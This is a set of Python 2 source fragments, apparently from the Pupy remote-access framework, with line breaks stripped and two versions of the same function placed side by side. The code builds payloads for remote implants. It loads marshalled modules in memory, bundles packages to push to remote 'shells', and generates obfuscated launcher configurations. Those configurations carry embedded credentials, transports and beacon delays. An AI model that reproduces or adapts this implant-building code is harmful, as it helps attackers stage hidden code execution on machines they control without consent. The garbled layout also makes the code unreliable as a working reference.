def loader(code, modulename): code = ''' import imp, sys, marshal fullname = {} mod = imp.new_module(fullname) mod.__file__ = "<bootloader>/%s.pyo" % fullname exec marshal.loads({}) in mod.__dict__ sys.modules[fullname]=mod '''.format(repr(modulename), repr(pupycompile(code, modulename, raw=True))) return code
def _package(modules, module_name, platform, arch, remote=False, posix=None, honor_ignore=True, native=False, ignore_native=False): initial_module_name = module_name start_path = module_name.replace('.', os.path.sep) for search_path in paths(platform, arch, posix): modules_dic = from_path(platform, arch, search_path, start_path, remote=remote, honor_ignore=honor_ignore, native=native) if modules_dic: break if not modules_dic and arch: archive = bundle(platform, arch) if archive: modules_dic = {} endings = COMMON_MODULE_ENDINGS # Horrible pywin32.. if module_name in ('pythoncom', 'pythoncomloader', 'pywintypes'): endings = tuple(['27.dll']) start_paths = tuple([ ('/'.join([x, start_path])).strip('/')+y \ for x in COMMON_SEARCH_PREFIXES \ for y in endings ]) for info in archive.infolist(): content = None if info.filename.startswith(start_paths): module_name = info.filename for prefix in COMMON_SEARCH_PREFIXES: if module_name.startswith(prefix + '/'): module_name = module_name[len(prefix) + 1:] break try: base, ext = module_name.rsplit('.', 1) except: continue # Garbage removing if ext == 'py' and base + '.pyo' not in modules_dic: try: content = pupycompile( get_content(platform, arch, prefix, info.filename, archive, honor_ignore=honor_ignore, native=native), info.filename) except IgnoreFileException: continue ext = 'pyo' elif ext == 'pyc': if base + '.py' in modules_dic: del modules_dic[base + '.py'] if base + '.pyo' in modules_dic: continue elif ext == 'pyo': if base + '.py' in modules_dic: del modules_dic[base + '.py'] if base + '.pyc' in modules_dic: del modules_dic[base + '.pyc'] if base + '.pyo' in modules_dic: continue # Special case with pyd loaders elif ext == 'pyd': if base + '.py' in modules_dic: del modules_dic[base + '.py'] if base + '.pyc' in modules_dic: del modules_dic[base + '.pyc'] if base + '.pyo' in modules_dic: del modules_dic[base + '.pyo'] if not content: try: content = get_content(platform, arch, prefix, info.filename, archive, honor_ignore=honor_ignore, native=native) except IgnoreFileException: continue if content: modules_dic[base + '.' + ext] = content archive.close() # in last resort, attempt to load the package from the server's sys.path if it exists if not modules_dic: for search_path in sys.path: try: modules_dic = from_path(platform, arch, search_path, start_path, pure_python_only=True, ignore_native=ignore_native, remote=remote) if modules_dic: logger.info( 'package %s not found in packages/, but found in local sys.path' ', attempting to push it remotely...' % initial_module_name) break except BinaryObjectError as e: logger.warning(e) except UnsafePathError as e: logger.error(e) if not modules_dic: raise NotFoundError(module_name) modules.update(modules_dic)
def from_path(platform, arch, search_path, start_path, pure_python_only=False, remote=False, honor_ignore=True, native=False, ignore_native=False): query = start_path modules_dic = {} if os.path.sep not in start_path: start_path = start_path.replace('.', os.path.sep) module_path = os.path.join(search_path, start_path) if remote: if '..' in module_path or not module_path.startswith( tuple(LIBS_AUTHORIZED_PATHS)): raise UnsafePathError( 'Attempt to retrieve lib from unsafe path: {} (query={})'. format(module_path, query)) # loading a real package with multiple files if os.path.isdir(module_path) and safe_file_exists(module_path): for root, dirs, files in os.walk(module_path, followlinks=True): for f in files: if root.endswith(IGNORED_ENDINGS) or f.startswith('.#'): continue if f.endswith(('.so', '.pyd', '.dll')): if pure_python_only: if ignore_native: continue # avoid loosing shells when looking for packages in # sys.path and unfortunatelly pushing a .so ELF on a # remote windows raise BinaryObjectError( 'Path contains binary objects: {} (query={})'. format(f, query)) if not f.endswith( ('.so', '.pyd', '.dll', '.pyo', '.pyc', '.py')): continue try: module_code = get_content(platform, arch, search_path, os.path.join(root, f), honor_ignore=honor_ignore, native=native) except IgnoreFileException: continue modprefix = root[len(search_path.rstrip(os.sep)) + 1:] modpath = os.path.join(modprefix, f).replace("\\", "/") base, ext = modpath.rsplit('.', 1) # Garbage removing if ext == 'py': module_code = pupycompile(module_code, modpath) modpath = base + '.pyo' if base + '.pyc' in modules_dic: del modules_dic[base + '.pyc'] elif ext == 'pyc': if base + '.pyo' in modules_dic: continue elif ext == 'pyo': if base + '.pyo' in modules_dic: continue if base + '.pyc' in modules_dic: del modules_dic[base + '.pyc'] # Special case with pyd loaders elif ext == 'pyd': if base + '.py' in modules_dic: del modules_dic[base + '.py'] if base + '.pyc' in modules_dic: del modules_dic[base + '.pyc'] if base + '.pyo' in modules_dic: del modules_dic[base + '.pyo'] modules_dic[modpath] = module_code else: # loading a simple file extlist = ['.py', '.pyo', '.pyc'] if not pure_python_only: #quick and dirty ;) => pythoncom27.dll, pywintypes27.dll extlist += ['.so', '.pyd', '27.dll'] for ext in extlist: filepath = os.path.join(module_path + ext) if os.path.isfile(filepath) and safe_file_exists(filepath): try: module_code = get_content(platform, arch, search_path, filepath, honor_ignore=honor_ignore, native=native) except IgnoreFileException: break cur = '' for rep in start_path.split('/')[:-1]: if cur + rep + '/__init__.py' not in modules_dic: modules_dic[rep + '/__init__.py'] = '' cur += rep + '/' if ext == '.py': module_code = pupycompile(module_code, start_path + ext) ext = '.pyo' modules_dic[start_path + ext] = module_code break return modules_dic
def get_raw_conf(conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if not "offline_script" in conf: offline_script="" else: offline_script=conf["offline_script"] obf_func=lambda x:x if obfuscate: obf_func=compress_encode_obfs launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [ transport ] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) print colorize("[+] ", "green") + 'Required credentials (found):\n{}'.format( colorize("[+] ", "green") + ', '.join(available)) if not_available: print colorize("[-] ", "red") + 'Required credentials (not found):\n{}'.format( colorize("[-] ", "red") + ', '.join(not_available)) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: for k, v in conf.iteritems(): if k in ('offline_script'): continue print colorize("[C] {}: {}".format(k, v), "yellow") config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye' : bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), offline_script ]) return obf_func(config)
def get_raw_conf(display, conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if "offline_script" not in conf: offline_script="" else: offline_script=conf["offline_script"] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List(available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)'))) if not_available: display( List(not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)'))) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else ( unicode(v) if type(v) not in (tuple,list,set) else ' '.join( unicode(x) for x in v)) } for k,v in conf.iteritems() if v] display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye': bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf", "")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'DELAYS={}'.format(repr(conf.get('delays', [ (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), 'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""') ]) return compress_encode_obfs(config) if obfuscate else config